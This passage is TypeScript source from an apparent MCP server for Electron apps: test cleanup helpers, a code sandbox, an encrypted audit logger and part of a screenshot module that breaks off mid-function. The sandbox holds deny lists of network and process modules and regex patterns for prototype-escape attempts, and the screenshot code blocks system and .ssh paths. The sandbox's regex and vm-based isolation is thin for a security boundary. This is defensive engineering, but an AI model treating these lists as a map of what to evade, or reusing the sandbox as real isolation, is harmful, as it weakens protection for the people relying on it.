172 |       server.listen(port, () => {
173 |         server.close(() => resolve(true));
174 |       });
175 | 
176 |       server.on('error', () => resolve(false));
177 |     });
178 |   }
179 | 
180 |   /**
181 |    * Clean up test artifacts and temporary files
182 |    */
183 |   static async cleanup(options: CleanupOptions = {}): Promise<void> {
184 |     const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options;
185 | 
186 |     try {
187 |       // Clean up logs directory
188 |       if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) {
189 |         if (preserveKeys) {
190 |           this.cleanupLogsPreservingKeys();
191 |         } else {
192 |           rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true });
193 |           logger.info(`🧹 Cleaned up logs directory`);
194 |         }
195 |       }
196 | 
197 |       // Clean up temp directories
198 |       if (removeTempDir) {
199 |         [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
200 |           (dir) => {
201 |             if (existsSync(dir)) {
202 |               rmSync(dir, { recursive: true, force: true });
203 |               logger.info(`🧹 Cleaned up ${dir} directory`);
204 |             }
205 |           },
206 |         );
207 |       }
208 |     } catch (error) {
209 |       logger.error('Failed to cleanup test artifacts:', error);
210 |     }
211 |   }
212 | 
213 |   /**
214 |    * Clean up only log files while preserving encryption keys
215 |    */
216 |   private static cleanupLogsPreservingKeys(): void {
217 |     try {
218 |       const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security');
219 |       if (existsSync(securityDir)) {
220 |         const files = readdirSync(securityDir);
221 | 
222 |         files.forEach((file: string) => {
223 |           if (file.endsWith('.log')) {
224 |             const filePath = join(securityDir, file);
225 |             rmSync(filePath, { force: true });
226 |             logger.info(`🧹 Cleaned up log file: ${filePath}`);
227 |           }
228 |         });
229 |       }
230 |     } catch (error) {
231 |       logger.error('Failed to cleanup log files:', error);
232 |     }
233 |   }
234 | 
235 |   /**
236 |    * Get size of artifacts that would be cleaned up
237 |    */
238 |   static getCleanupSize(): { logs: number; temp: number; total: number } {
239 |     let logsSize = 0;
240 |     let tempSize = 0;
241 | 
242 |     try {
243 |       const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR);
244 |       if (existsSync(logsDir)) {
245 |         logsSize = this.getDirectorySize(logsDir);
246 |       }
247 | 
248 |       [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
249 |         (dir) => {
250 |           if (existsSync(dir)) {
251 |             tempSize += this.getDirectorySize(dir);
252 |           }
253 |         },
254 |       );
255 |     } catch (error) {
256 |       logger.error('Failed to calculate cleanup size:', error);
257 |     }
258 | 
259 |     return {
260 |       logs: logsSize,
261 |       temp: tempSize,
262 |       total: logsSize + tempSize,
263 |     };
264 |   }
265 | 
266 |   /**
267 |    * Calculate directory size in bytes
268 |    */
269 |   private static getDirectorySize(dirPath: string): number {
270 |     let totalSize = 0;
271 | 
272 |     try {
273 |       const items = readdirSync(dirPath);
274 | 
275 |       for (const item of items) {
276 |         const itemPath = join(dirPath, item);
277 |         const stats = statSync(itemPath);
278 | 
279 |         if (stats.isDirectory()) {
280 |           totalSize += this.getDirectorySize(itemPath);
281 |         } else {
282 |           totalSize += stats.size;
283 |         }
284 |       }
285 |     } catch (_error) {
286 |       // Directory might not exist or be accessible
287 |     }
288 | 
289 |     return totalSize;
290 |   }
291 | 
292 |   /**
293 |    * Create a proper MCP request format for testing
294 |    */
295 |   static createMCPRequest(toolName: string, args: any = {}) {
296 |     return {
297 |       method: 'tools/call' as const,
298 |       params: {
299 |         name: toolName,
300 |         arguments: args,
301 |       },
302 |     };
303 |   }
304 | }
305 | 
```

--------------------------------------------------------------------------------
/src/security/sandbox.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { spawn } from 'child_process';
  2 | import { promises as fs } from 'fs';
  3 | import { join } from 'path';
  4 | import { randomUUID } from 'crypto';
  5 | import { logger } from '../utils/logger';
  6 | 
  7 | export interface SandboxOptions {
  8 |   timeout?: number;
  9 |   maxMemory?: number;
 10 |   allowedModules?: string[];
 11 |   blacklistedFunctions?: string[];
 12 | }
 13 | 
 14 | export interface SandboxResult {
 15 |   success: boolean;
 16 |   result?: any;
 17 |   error?: string;
 18 |   executionTime: number;
 19 |   memoryUsed?: number;
 20 | }
 21 | 
 22 | const DEFAULT_BLACKLISTED_FUNCTIONS = [
 23 |   'eval',
 24 |   'Function',
 25 |   'setTimeout',
 26 |   'setInterval',
 27 |   'setImmediate',
 28 |   'require',
 29 |   'import',
 30 |   'process',
 31 |   'global',
 32 |   'globalThis',
 33 |   '__dirname',
 34 |   '__filename',
 35 |   'Buffer',
 36 |   'XMLHttpRequest',
 37 |   'fetch',
 38 |   'WebSocket',
 39 |   'Worker',
 40 |   'SharedWorker',
 41 |   'ServiceWorker',
 42 |   'importScripts',
 43 |   'postMessage',
 44 |   'close',
 45 |   'open',
 46 | ];
 47 | 
 48 | const DEFAULT_BLACKLISTED_OBJECTS = [
 49 |   'fs',
 50 |   'child_process',
 51 |   'cluster',
 52 |   'crypto',
 53 |   'dgram',
 54 |   'dns',
 55 |   'http',
 56 |   'https',
 57 |   'net',
 58 |   'os',
 59 |   'path',
 60 |   'stream',
 61 |   'tls',
 62 |   'url',
 63 |   'util',
 64 |   'v8',
 65 |   'vm',
 66 |   'worker_threads',
 67 |   'zlib',
 68 |   'perf_hooks',
 69 |   'inspector',
 70 |   'repl',
 71 |   'readline',
 72 |   'domain',
 73 |   'events',
 74 |   'querystring',
 75 |   'punycode',
 76 |   'constants',
 77 | ];
 78 | 
 79 | export class CodeSandbox {
 80 |   private options: Required<SandboxOptions>;
 81 | 
 82 |   constructor(options: SandboxOptions = {}) {
 83 |     this.options = {
 84 |       timeout: options.timeout || 5000,
 85 |       maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB
 86 |       allowedModules: options.allowedModules || [],
 87 |       blacklistedFunctions: [
 88 |         ...DEFAULT_BLACKLISTED_FUNCTIONS,
 89 |         ...(options.blacklistedFunctions || []),
 90 |       ],
 91 |     };
 92 |   }
 93 | 
 94 |   async executeCode(code: string): Promise<SandboxResult> {
 95 |     const startTime = Date.now();
 96 |     const sessionId = randomUUID();
 97 | 
 98 |     logger.info(`Starting sandboxed execution [${sessionId}]`);
 99 | 
100 |     try {
101 |       // Validate code before execution
102 |       const validation = this.validateCode(code);
103 |       if (!validation.isValid) {
104 |         return {
105 |           success: false,
106 |           error: `Code validation failed: ${validation.errors.join(', ')}`,
107 |           executionTime: Date.now() - startTime,
108 |         };
109 |       }
110 | 
111 |       // Create isolated execution environment
112 |       const result = await this.executeInIsolation(code, sessionId);
113 | 
114 |       const executionTime = Date.now() - startTime;
115 |       logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`);
116 | 
117 |       return {
118 |         success: true,
119 |         result: result,
120 |         executionTime,
121 |       };
122 |     } catch (error) {
123 |       const executionTime = Date.now() - startTime;
124 |       logger.error(`Sandboxed execution failed [${sessionId}]:`, error);
125 | 
126 |       return {
127 |         success: false,
128 |         error: error instanceof Error ? error.message : String(error),
129 |         executionTime,
130 |       };
131 |     }
132 |   }
133 | 
134 |   private validateCode(code: string): { isValid: boolean; errors: string[] } {
135 |     const errors: string[] = [];
136 | 
137 |     // Check for blacklisted functions
138 |     for (const func of this.options.blacklistedFunctions) {
139 |       const regex = new RegExp(`\\b${func}\\s*\\(`, 'g');
140 |       if (regex.test(code)) {
141 |         errors.push(`Forbidden function: ${func}`);
142 |       }
143 |     }
144 | 
145 |     // Check for blacklisted objects
146 |     for (const obj of DEFAULT_BLACKLISTED_OBJECTS) {
147 |       const regex = new RegExp(`\\b${obj}\\b`, 'g');
148 |       if (regex.test(code)) {
149 |         errors.push(`Forbidden module/object: ${obj}`);
150 |       }
151 |     }
152 | 
153 |     // Check for dangerous patterns
154 |     const dangerousPatterns = [
155 |       /require\s*\(/g,
156 |       /import\s+.*\s+from/g,
157 |       /\.constructor/g,
158 |       /\.__proto__/g,
159 |       /prototype\./g,
160 |       /process\./g,
161 |       /global\./g,
162 |       /this\.constructor/g,
163 |       /\[\s*['"`]constructor['"`]\s*\]/g,
164 |       /\[\s*['"`]__proto__['"`]\s*\]/g,
165 |       /Function\s*\(/g,
166 |       /eval\s*\(/g,
167 |       /window\./g,
168 |       /document\./g,
169 |       /location\./g,
170 |       /history\./g,
171 |       /navigator\./g,
172 |       /alert\s*\(/g,
173 |       /confirm\s*\(/g,
174 |       /prompt\s*\(/g,
175 |     ];
176 | 
177 |     for (const pattern of dangerousPatterns) {
178 |       if (pattern.test(code)) {
179 |         errors.push(`Dangerous pattern detected: ${pattern.source}`);
180 |       }
181 |     }
182 | 
183 |     return {
184 |       isValid: errors.length === 0,
185 |       errors,
186 |     };
187 |   }
188 | 
189 |   private async executeInIsolation(code: string, sessionId: string): Promise<any> {
190 |     // Create a secure wrapper script
191 |     const wrapperCode = this.createSecureWrapper(code);
192 | 
193 |     // Write to temporary file
194 |     const tempDir = join(process.cwd(), 'temp', sessionId);
195 |     await fs.mkdir(tempDir, { recursive: true });
196 |     const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS
197 | 
198 |     try {
199 |       await fs.writeFile(scriptPath, wrapperCode);
200 | 
201 |       // Execute in isolated Node.js process
202 |       const result = await this.executeInProcess(scriptPath);
203 | 
204 |       return result;
205 |     } finally {
206 |       // Cleanup
207 |       try {
208 |         await fs.unlink(scriptPath);
209 |         await fs.rm(tempDir, { recursive: true, force: true });
210 | 
211 |         // Also try to clean up the parent temp directory if it's empty
212 |         try {
213 |           const parentTempDir = join(process.cwd(), 'temp');
214 |           await fs.rmdir(parentTempDir);
215 |         } catch {
216 |           // Ignore if not empty or doesn't exist
217 |         }
218 |       } catch (cleanupError) {
219 |         logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError);
220 |       }
221 |     }
222 |   }
223 | 
224 |   private createSecureWrapper(userCode: string): string {
225 |     return `
226 | "use strict";
227 | 
228 | const vm = require('vm');
229 | 
230 | // Create isolated context
231 | const originalProcess = process;
232 | const originalConsole = console;
233 | 
234 | // Create safe console
235 | const safeConsole = {
236 |   log: (...args) => originalConsole.log('[SANDBOX]', ...args),
237 |   error: (...args) => originalConsole.error('[SANDBOX]', ...args),
238 |   warn: (...args) => originalConsole.warn('[SANDBOX]', ...args),
239 |   info: (...args) => originalConsole.info('[SANDBOX]', ...args),
240 |   debug: (...args) => originalConsole.debug('[SANDBOX]', ...args)
241 | };
242 | 
243 | // Create a secure context with only safe globals
244 | const sandboxContext = vm.createContext({
245 |   console: safeConsole,
246 |   Math: Math,
247 |   Date: Date,
248 |   JSON: JSON,
249 |   parseInt: parseInt,
250 |   parseFloat: parseFloat,
251 |   isNaN: isNaN,
252 |   isFinite: isFinite,
253 |   String: String,
254 |   Number: Number,
255 |   Boolean: Boolean,
256 |   Array: Array,
257 |   Object: Object,
258 |   RegExp: RegExp,
259 |   Error: Error,
260 |   TypeError: TypeError,
261 |   RangeError: RangeError,
262 |   SyntaxError: SyntaxError,
263 |   // Provide a safe setTimeout that's actually synchronous for safety
264 |   setTimeout: (fn, delay) => {
265 |     if (typeof fn === 'function' && delay === 0) {
266 |       return fn();
267 |     }
268 |     throw new Error('setTimeout not available in sandbox');
269 |   }
270 | });
271 | 
272 | try {
273 |   // Execute user code in isolated VM context
274 |   const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, {
275 |     timeout: 5000, // 5 second timeout
276 |     displayErrors: true,
277 |     breakOnSigint: true
278 |   });
279 |   
280 |   // Send result back
281 |   originalProcess.stdout.write(JSON.stringify({
282 |     success: true,
283 |     result: result
284 |   }));
285 | } catch (error) {
286 |   originalProcess.stdout.write(JSON.stringify({
287 |     success: false,
288 |     error: error.message,
289 |     stack: error.stack
290 |   }));
291 | }
292 | `;
293 |   }
294 | 
295 |   private executeInProcess(scriptPath: string): Promise<any> {
296 |     return new Promise((resolve, reject) => {
297 |       const child = spawn('node', [scriptPath], {
298 |         stdio: ['ignore', 'pipe', 'pipe'],
299 |         timeout: this.options.timeout,
300 |       });
301 | 
302 |       let stdout = '';
303 |       let stderr = '';
304 | 
305 |       child.stdout.on('data', (data) => {
306 |         stdout += data.toString();
307 |       });
308 | 
309 |       child.stderr.on('data', (data) => {
310 |         stderr += data.toString();
311 |       });
312 | 
313 |       child.on('close', (code) => {
314 |         if (code === 0) {
315 |           try {
316 |             const result = JSON.parse(stdout);
317 |             if (result.success) {
318 |               resolve(result.result);
319 |             } else {
320 |               reject(new Error(result.error));
321 |             }
322 |           } catch (parseError) {
323 |             reject(new Error(`Failed to parse execution result: ${parseError}`));
324 |           }
325 |         } else {
326 |           reject(new Error(`Process exited with code ${code}: ${stderr}`));
327 |         }
328 |       });
329 | 
330 |       child.on('error', (error) => {
331 |         reject(error);
332 |       });
333 |     });
334 |   }
335 | }
336 | 
```

--------------------------------------------------------------------------------
/src/security/audit.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs';
  2 | import { join } from 'path';
  3 | import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto';
  4 | import { logger } from '../utils/logger';
  5 | 
  6 | export interface AuditLogEntry {
  7 |   timestamp: string;
  8 |   sessionId: string;
  9 |   action: string;
 10 |   command?: string;
 11 |   riskLevel: 'low' | 'medium' | 'high' | 'critical';
 12 |   success: boolean;
 13 |   error?: string;
 14 |   executionTime: number;
 15 |   sourceIP?: string;
 16 |   userAgent?: string;
 17 | }
 18 | 
 19 | export interface SecurityMetrics {
 20 |   totalRequests: number;
 21 |   blockedRequests: number;
 22 |   highRiskRequests: number;
 23 |   criticalRiskRequests: number;
 24 |   averageExecutionTime: number;
 25 |   topCommands: { command: string; count: number }[];
 26 |   errorRate: number;
 27 | }
 28 | 
 29 | export class SecurityLogger {
 30 |   private logDir: string;
 31 |   private encryptionKey: Buffer;
 32 | 
 33 |   constructor(logDir: string = 'logs/security') {
 34 |     this.logDir = logDir;
 35 |     this.encryptionKey = this.getOrCreateEncryptionKey();
 36 |     // Note: ensureLogDirectory is called in logSecurityEvent to handle async properly
 37 |   }
 38 | 
 39 |   async logSecurityEvent(entry: AuditLogEntry): Promise<void> {
 40 |     try {
 41 |       // Ensure directory exists before writing
 42 |       await this.ensureLogDirectory();
 43 | 
 44 |       const logFile = this.getLogFilePath(new Date());
 45 |       const encryptedEntry = this.encryptLogEntry(entry);
 46 |       const logLine = JSON.stringify(encryptedEntry) + '\n';
 47 | 
 48 |       await fs.appendFile(logFile, logLine, 'utf8');
 49 | 
 50 |       // Also log to console for immediate monitoring
 51 |       const logLevel = this.getLogLevel(entry.riskLevel);
 52 |       logger[logLevel](
 53 |         `Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`,
 54 |         {
 55 |           sessionId: entry.sessionId,
 56 |           riskLevel: entry.riskLevel,
 57 |           executionTime: entry.executionTime,
 58 |         },
 59 |       );
 60 |     } catch (error) {
 61 |       logger.error('Failed to write security log:', error);
 62 |     }
 63 |   }
 64 | 
 65 |   async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> {
 66 |     try {
 67 |       const entries = await this.readLogEntries(since);
 68 | 
 69 |       const totalRequests = entries.length;
 70 |       const blockedRequests = entries.filter((e) => !e.success).length;
 71 |       const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length;
 72 |       const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length;
 73 | 
 74 |       const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0);
 75 |       const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0;
 76 | 
 77 |       const commandCounts = new Map<string, number>();
 78 |       entries.forEach((e) => {
 79 |         if (e.command) {
 80 |           const truncated = e.command.substring(0, 50);
 81 |           commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1);
 82 |         }
 83 |       });
 84 | 
 85 |       const topCommands = Array.from(commandCounts.entries())
 86 |         .sort((a, b) => b[1] - a[1])
 87 |         .slice(0, 10)
 88 |         .map(([command, count]) => ({ command, count }));
 89 | 
 90 |       const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0;
 91 | 
 92 |       return {
 93 |         totalRequests,
 94 |         blockedRequests,
 95 |         highRiskRequests,
 96 |         criticalRiskRequests,
 97 |         averageExecutionTime,
 98 |         topCommands,
 99 |         errorRate,
100 |       };
101 |     } catch (error) {
102 |       logger.error('Failed to generate security metrics:', error);
103 |       throw error;
104 |     }
105 |   }
106 | 
107 |   async searchLogs(criteria: {
108 |     action?: string;
109 |     riskLevel?: string;
110 |     since?: Date;
111 |     until?: Date;
112 |     limit?: number;
113 |   }): Promise<AuditLogEntry[]> {
114 |     try {
115 |       const entries = await this.readLogEntries(criteria.since, criteria.until);
116 | 
117 |       let filtered = entries;
118 | 
119 |       if (criteria.action) {
120 |         filtered = filtered.filter((e) => e.action === criteria.action);
121 |       }
122 | 
123 |       if (criteria.riskLevel) {
124 |         filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel);
125 |       }
126 | 
127 |       if (criteria.limit) {
128 |         filtered = filtered.slice(0, criteria.limit);
129 |       }
130 | 
131 |       return filtered;
132 |     } catch (error) {
133 |       logger.error('Failed to search security logs:', error);
134 |       throw error;
135 |     }
136 |   }
137 | 
138 |   private async ensureLogDirectory(): Promise<void> {
139 |     try {
140 |       await fs.mkdir(this.logDir, { recursive: true });
141 |     } catch (error) {
142 |       logger.error('Failed to create log directory:', error);
143 |     }
144 |   }
145 | 
146 |   private getOrCreateEncryptionKey(): Buffer {
147 |     const keyPath = join(this.logDir, '.security-key');
148 | 
149 |     try {
150 |       // Try to read existing key
151 |       const keyData = readFileSync(keyPath);
152 |       return Buffer.from(keyData);
153 |     } catch {
154 |       // Generate new key
155 |       const key = randomBytes(32);
156 |       try {
157 |         // Ensure directory exists before writing key
158 |         mkdirSync(this.logDir, { recursive: true });
159 |         writeFileSync(keyPath, key);
160 |         // Restrict permissions on the key file
161 |         chmodSync(keyPath, 0o600);
162 |       } catch (error) {
163 |         logger.warn('Failed to save encryption key:', error);
164 |       }
165 |       return key;
166 |     }
167 |   }
168 | 
169 |   private encryptLogEntry(entry: AuditLogEntry): any {
170 |     const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
171 |     const encrypted: any = { ...entry };
172 | 
173 |     for (const field of sensitiveFields) {
174 |       if (encrypted[field]) {
175 |         const value = String(encrypted[field]);
176 |         encrypted[field] = this.encryptString(value);
177 |       }
178 |     }
179 | 
180 |     return encrypted;
181 |   }
182 | 
183 |   private encryptString(text: string): string {
184 |     try {
185 |       const iv = randomBytes(16);
186 |       const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv);
187 |       let encrypted = cipher.update(text, 'utf8', 'hex');
188 |       encrypted += cipher.final('hex');
189 |       return iv.toString('hex') + ':' + encrypted;
190 |     } catch {
191 |       // Fallback to hash if encryption fails
192 |       return createHash('sha256').update(text).digest('hex');
193 |     }
194 |   }
195 | 
196 |   private decryptString(encryptedText: string): string {
197 |     try {
198 |       const parts = encryptedText.split(':');
199 |       if (parts.length !== 2) return '[ENCRYPTED]';
200 | 
201 |       const iv = Buffer.from(parts[0], 'hex');
202 |       const encrypted = parts[1];
203 | 
204 |       const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv);
205 |       let decrypted = decipher.update(encrypted, 'hex', 'utf8');
206 |       decrypted += decipher.final('utf8');
207 |       return decrypted;
208 |     } catch {
209 |       return '[ENCRYPTED]';
210 |     }
211 |   }
212 | 
213 |   private getLogFilePath(date: Date): string {
214 |     const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD
215 |     return join(this.logDir, `security-${dateStr}.log`);
216 |   }
217 | 
218 |   private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' {
219 |     switch (riskLevel) {
220 |       case 'critical':
221 |         return 'error';
222 |       case 'high':
223 |         return 'error';
224 |       case 'medium':
225 |         return 'warn';
226 |       default:
227 |         return 'info';
228 |     }
229 |   }
230 | 
231 |   private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> {
232 |     const entries: AuditLogEntry[] = [];
233 |     const now = new Date();
234 |     const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago
235 |     const endDate = until || now;
236 | 
237 |     // Read log files for the date range
238 |     const currentDate = new Date(startDate);
239 |     while (currentDate <= endDate) {
240 |       const logFile = this.getLogFilePath(currentDate);
241 | 
242 |       try {
243 |         const content = await fs.readFile(logFile, 'utf8');
244 |         const lines = content.trim().split('\n');
245 | 
246 |         for (const line of lines) {
247 |           if (line.trim()) {
248 |             try {
249 |               const entry = JSON.parse(line);
250 |               entries.push(this.decryptLogEntry(entry));
251 |             } catch (parseError) {
252 |               logger.warn('Failed to parse log entry:', parseError);
253 |             }
254 |           }
255 |         }
256 |       } catch {
257 |         // File doesn't exist or can't be read - skip silently
258 |       }
259 | 
260 |       currentDate.setDate(currentDate.getDate() + 1);
261 |     }
262 | 
263 |     return entries.sort(
264 |       (a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(),
265 |     );
266 |   }
267 | 
268 |   private decryptLogEntry(entry: any): AuditLogEntry {
269 |     const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
270 |     const decrypted = { ...entry };
271 | 
272 |     for (const field of sensitiveFields) {
273 |       if (decrypted[field]) {
274 |         decrypted[field] = this.decryptString(decrypted[field]);
275 |       }
276 |     }
277 | 
278 |     return decrypted as AuditLogEntry;
279 |   }
280 | }
281 | 
282 | // Global security logger instance
283 | export const securityLogger = new SecurityLogger();
284 | 
```

--------------------------------------------------------------------------------
/src/screenshot.ts:
--------------------------------------------------------------------------------

```typescript
  1 | import { chromium } from 'playwright';
  2 | import * as fs from 'fs/promises';
  3 | import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto';
  4 | import { logger } from './utils/logger';
  5 | import { scanForElectronApps } from './utils/electron-discovery';
  6 | import * as path from 'path';
  7 | 
  8 | // Generate a fallback encryption key if none is provided
  9 | function generateFallbackKey(): string {
 10 |   const fallbackKey = randomBytes(32).toString('hex');
 11 |   logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session');
 12 |   logger.warn('⚠️  Screenshots will not be decryptable after restart!');
 13 |   logger.warn('⚠️  For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable');
 14 |   logger.warn('⚠️  Generate a permanent key with: openssl rand -hex 32');
 15 |   return fallbackKey;
 16 | }
 17 | 
 18 | // Validate and get encryption key with fallback
 19 | function getEncryptionKey(): string {
 20 |   const key = process.env.SCREENSHOT_ENCRYPTION_KEY;
 21 |   
 22 |   if (!key) {
 23 |     return generateFallbackKey();
 24 |   }
 25 | 
 26 |   if (key === 'default-screenshot-key-change-me') {
 27 |     logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key');
 28 |     logger.warn('⚠️  Please set a secure key with: openssl rand -hex 32');
 29 |     return generateFallbackKey();
 30 |   }
 31 | 
 32 |   if (key.length < 32) {
 33 |     logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY too short - using temporary key');
 34 |     logger.warn('⚠️  Key must be at least 32 characters. Generate with: openssl rand -hex 32');
 35 |     return generateFallbackKey();
 36 |   }
 37 | 
 38 |   return key;
 39 | }
 40 | 
 41 | interface EncryptedScreenshot {
 42 |   encryptedData: string;
 43 |   iv: string;
 44 |   salt: string; // Add salt to be stored with encrypted data
 45 |   timestamp: string;
 46 | }
 47 | 
 48 | /**
 49 |  * Validate if a file path is safe for screenshot output
 50 |  */
 51 | function validateScreenshotPath(outputPath: string): boolean {
 52 |   if (!outputPath) return true;
 53 | 
 54 |   // Normalize the path to detect path traversal
 55 |   const normalizedPath = path.normalize(outputPath);
 56 | 
 57 |   // Block dangerous paths
 58 |   const dangerousPaths = [
 59 |     '/etc/',
 60 |     '/sys/',
 61 |     '/proc/',
 62 |     '/dev/',
 63 |     '/bin/',
 64 |     '/sbin/',
 65 |     '/usr/bin/',
 66 |     '/usr/sbin/',
 67 |     '/root/',
 68 |     '/home/',
 69 |     '/.ssh/',
 70 |     'C:\\Windows\\System32\\',
 71 |     'C:\\Windows\\SysWOW64\\',
 72 |     'C:\\Program Files\\',
 73 |     'C:\\Users\\',
 74 |     '\\Windows\\System32\\',
 75 |     '\\Windows\\SysWOW64\\',
 76 |     '\\Program Files\\',
 77 |     '\\Users\\',
 78 |   ];
 79 | 
 80 |   // Check for dangerous path patterns
 81 |   for (const dangerousPath of dangerousPaths) {
 82 |     if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) {
 83 |       return false;
 84 |     }
 85 |   }
 86 | 
 87 |   // Block path traversal attempts
 88 |   if (normalizedPath.includes('..') || normalizedPath.includes('~')) {
 89 |     return false;
 90 |   }
 91 | 
 92 |   // Block absolute paths to system directories
 93 |   if (path.isAbsolute(normalizedPath)) {
 94 |     const absolutePath = normalizedPath.toLowerCase();
 95 |     if (
 96 |       absolutePath.startsWith('/etc') ||
 97 |       absolutePath.startsWith('/sys') ||
 98 |       absolutePath.startsWith('/proc') ||
 99 |       absolutePath.startsWith('c:\\windows') ||
100 |       absolutePath.startsWith('c:\\program files')
101 |     ) {
102 |       return false;
103 |     }
104 |   }
105 | 
106 |   return true;
107 | }
108 | 
109 | // Validate that required environment variables are set
110 | function validateEnvironmentVariables(): string {
111 |   return getEncryptionKey();
112 | }
113 | 
114 | // Encrypt screenshot data for secure storage and transmission
115 | function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot {
116 |   try {
117 |     // Get validated encryption key (with fallback)
118 |     const password = validateEnvironmentVariables();
119 | 
120 |     const algorithm = 'aes-256-cbc';
121 |     const iv = randomBytes(16);
122 | 
123 |     // Derive a proper key from the password using PBKDF2
124 |     const salt = randomBytes(32);
125 |     const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512');
126 | 
127 |     const cipher = createCipheriv(algorithm, key, iv);
128 |     let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex');
129 |     encrypted += cipher.final('hex');
130 | 
131 |     return {
132 |       encryptedData: encrypted,
133 |       iv: iv.toString('hex'),
134 |       salt: salt.toString('hex'), // Store salt with encrypted data
135 |       timestamp: new Date().toISOString(),
136 |     };
137 |   } catch (error) {
138 |     logger.warn('Failed to encrypt screenshot data:', error);
139 |     // Fallback to base64 encoding if encryption fails
140 |     return {
141 |       encryptedData: buffer.toString('base64'),
142 |       iv: '',
143 |       salt: '', // Empty salt for fallback
144 |       timestamp: new Date().toISOString(),
145 |     };
146 |   }
147 | }
148 | 
149 | // Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol)
150 | export async function takeScreenshot(
151 |   outputPath?: string,
152 |   windowTitle?: string,
153 | ): Promise<{
154 |   filePath?: string;
155 |   base64: string;
156 |   data: string;
157 |   error?: string;
158 | }> {
159 |   // Validate output path for security
160 |   if (outputPath && !validateScreenshotPath(outputPath)) {
161 |     throw new Error(
162 |       `Invalid output path: ${outputPath}. Path appears to target a restricted system location.`,
163 |     );
164 |   }
165 | 
166 |   // Inform user about screenshot
167 |   logger.info('📸 Taking screenshot of Electron application', {
168 |     outputPath,
169 |     windowTitle,
170 |     timestamp: new Date().toISOString(),
171 |   });
172 |   try {
173 |     // Find running Electron applications
174 |     const apps = await scanForElectronApps();
175 |     if (apps.length === 0) {
176 |       throw new Error('No running Electron applications found with remote debugging enabled');
177 |     }
178 | 
179 |     // Use the first app found (or find by title if specified)
180 |     let targetApp = apps[0];
181 |     if (windowTitle) {
182 |       const namedApp = apps.find((app) =>
183 |         app.targets.some((target) =>
184 |           target.title?.toLowerCase().includes(windowTitle.toLowerCase()),
185 |         ),
186 |       );
187 |       if (namedApp) {
188 |         targetApp = namedApp;
189 |       }
190 |     }
191 | 
192 |     // Connect to the Electron app's debugging port
193 |     const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`);
194 |     const contexts = browser.contexts();
195 | 
196 |     if (contexts.length === 0) {
197 |       throw new Error(
198 |         'No browser contexts found - make sure Electron app is running with remote debugging enabled',
199 |       );
200 |     }
201 | 
202 |     const context = contexts[0];
203 |     const pages = context.pages();
204 | 
205 |     if (pages.length === 0) {
206 |       throw new Error('No pages found in the browser context');
207 |     }
208 | 
209 |     // Find the main application page (skip DevTools pages)
210 |     let targetPage = pages[0];
211 |     for (const page of pages) {
212 |       const url = page.url();
213 |       const title = await page.title().catch(() => '');
214 | 
215 |       // Skip DevTools and about:blank pages
216 |       if (
217 |         !url.includes('devtools://') &&
218 |         !url.includes('about:blank') &&
219 |         title &&
220 |         !title.includes('DevTools')
221 |       ) {
222 |         // If windowTitle is specified, try to match it
223 |         if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) {
224 |           targetPage = page;
225 |           break;
226 |         } else if (!windowTitle) {
227 |           targetPage = page;
228 |           break;
229 |         }
230 |       }
231 |     }
232 | 
233 |     logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`);
234 | 
235 |     // Take screenshot as buffer (in memory)
236 |     const screenshotBuffer = await targetPage.screenshot({
237 |       type: 'png',
238 |       fullPage: false,
239 |     });
240 | 
241 |     await browser.close();
242 | 
243 |     // Encrypt screenshot data for security
244 |     const encryptedScreenshot = encryptScreenshotData(screenshotBuffer);
245 | 
246 |     // Convert buffer to base64 for transmission
247 |     const base64Data = screenshotBuffer.toString('base64');
248 |     logger.info(
249 |       `Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`,
